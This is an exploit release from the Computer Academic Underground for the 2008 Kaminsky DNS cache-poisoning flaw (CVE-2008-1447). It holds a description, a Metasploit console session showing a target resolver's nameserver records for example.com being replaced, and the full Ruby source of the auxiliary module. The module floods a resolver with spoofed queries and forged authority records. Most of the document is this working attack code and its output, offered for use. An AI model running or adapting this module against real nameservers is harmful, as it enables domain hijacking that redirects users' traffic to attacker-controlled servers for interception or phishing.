____ ____ __ __ / / / / | | | | ----====####/ //__/##/ // /##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######/ // /#| |##| |#| |##| |######======------ /____/ |__| |__| /______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2008-0003 Release Date: 2008.07.23 Title: bailiwicked_domain.rb Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains Tested: BIND 9.4.1-9.4.2 Attributes: Remote, Poison, Resolver, Metasploit Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt Author/Email: I)ruid <druid (@) caughq.org> H D Moore <hdm (@) metasploit.com> ===============/======================================================== Description =========== This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious nameserver entry into the target nameserver which replaces the legitimate nameservers for the target domain. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache. This insertion completely replaces the original nameserver records for the target domain. Example ======= # /msf3/msfconsole ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ msf v3.2-release + -- --=[ 298 exploits - 124 payloads + -- --=[ 18 encoders - 6 nops =[ 73 aux msf > use auxiliary/spoof/dns/bailiwicked_domain msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D RHOST => A.B.C.D msf auxiliary(bailiwicked_domain) > set DOMAIN example.com DOMAIN => example.com msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com NEWDNS => dns01.metasploit.com msf auxiliary(bailiwicked_domain) > set SRCPORT 0 SRCPORT => 0 msf auxiliary(bailiwicked_domain) > check [*] Using the Metasploit service to verify exploitability... [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] >> ADDRESS: A.B.C.D PORT: 50391 [*] FAIL: This server uses static source ports and is vulnerable to poisoning msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D [*] exec: dig +short -t ns example.com @A.B.C.D b.iana-servers.net. a.iana-servers.net. msf auxiliary(bailiwicked_domain) > run [*] Switching to target port 50391 based on Metasploit service [*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com [*] Querying recon nameserver for example.com.'s nameservers... [*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net. [*] Querying recon nameserver for address of b.iana-servers.net.... [*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236 [*] Checking Authoritativeness: Querying 193.0.0.236 for example.com.... [*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as [*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net. [*] Querying recon nameserver for address of a.iana-servers.net.... [*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43 [*] Checking Authoritativeness: Querying 192.0.34.43 for example.com.... [*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as [*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391... [*] Sent 1000 queries and 20000 spoofed responses... [*] Sent 2000 queries and 40000 spoofed responses... [*] Sent 3000 queries and 60000 spoofed responses... [*] Sent 4000 queries and 80000 spoofed responses... [*] Sent 5000 queries and 100000 spoofed responses... [*] Sent 6000 queries and 120000 spoofed responses... [*] Sent 7000 queries and 140000 spoofed responses... [*] Sent 8000 queries and 160000 spoofed responses... [*] Sent 9000 queries and 180000 spoofed responses... [*] Sent 10000 queries and 200000 spoofed responses... [*] Sent 11000 queries and 220000 spoofed responses... [*] Sent 12000 queries and 240000 spoofed responses... [*] Sent 13000 queries and 260000 spoofed responses... [*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com [*] Auxiliary module execution completed msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D [*] exec: dig +short -t ns example.com @A.B.C.D dns01.metasploit.com. Credits ======= Dan Kaminsky is credited with originally discovering this vulnerability. Cedric Blancher <sid (@) rstack.org> figured out the NS injection method and was cool enough to email us and share! References ========== http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447 http://www.kb.cert.org/vuls/id/800113 Metasploit ========== require 'msf/core' require 'net/dns' require 'scruby' require 'resolv' module Msf class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Domain Attack', 'Description' => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target domains nameserver entries in a vulnerable DNS cache server. This attack works by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and the nameserver entries for the target domain will be replaced by the server specified in the NEWDNS option of this exploit. }, 'Author' => [ ' I)ruid', 'hdm', # 'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method # and was cool enough to email us and share! # ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 5591 $', 'References' => [ [ 'CVE', '2008-1447' ], [ 'US-CERT-VU', '8000113' ], [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ], ], 'DisclosureDate' => 'Jul 21 2008' )) register_options( [ OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']), OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]), OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]), ], self.class) end def auxiliary_commands return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } end def cmd_check(*args) targ = args[0] || rhost() if(not (targ and targ.length > 0)) print_status("usage: check [dns-server]") return end print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 ) random = false ports = [] lport = nil 1.upto(5) do |i| req = Resolv::DNS::Message.new txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m) t_addr, t_port = $1.split(':') print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] domain = datastore['DOMAIN'] + '.' newdns = datastore['NEWDNS'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i newttl = datastore['TTL'].to_i xidbase = rand(20001) + 20000 address = Rex::Text.rand_text(4).unpack("C4").join(".") srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, 'PeerPort' => 53 ) # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m) t_addr, t_port = $1.split(':') sport = t_port.to_i print_status("Switching to target port #{sport} based on Metasploit service") if target != t_addr print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end end end # Verify its not already poisoned begin query = Resolv::DNS::Message.new query.add_question(domain, Resolv::DNS::Resource::IN::NS) query.rd = 0 begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == domain and data.name.to_s == newdns) t = Time.now + ttl print_status("Failure: This domain is already using #{newdns} as a nameserver") print_status(" Cache entry expires on #{t.to_s}") srv_sock.close disconnect_ip return end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" if rr0.type == 'NS' print_status " Querying recon nameserver for address of #{rr0.nsdname}..." answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" answer1.answer.each do |rr1| print_status " Got an #{rr1.type} record: #{rr1.inspect}" res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." answer2 = res2.send(domain) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s, :src => source, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => (rand((2**16)-1024)+1024).to_i, :dport => 53 )/req.encode ).to_net ip_sock.sendto(buff, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns))) req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored req.qr = 1 req.aa = 1 xidbase.upto(xidbase+xids-1) do |id| req.id = id barbs.each do |barb| buff = ( Scruby::IP.new( #:src => barbs[i][:addr].to_s, :src => barb[:addr].to_s, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => 53, :dport => sport.to_i )/req.encode ).to_net ip_sock.sendto(buff, target) responses += 1 end end # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") end # every so often, check and see if the target is poisoned... if queries % 250 == 0 begin query = Resolv::DNS::Message.new query.add_question(domain, Resolv::DNS::Resource::IN::NS) query.rd = 0 srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == domain and data.name.to_s == newdns) print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}") srv_sock.close disconnect_ip return end end end rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end end end end end end
评论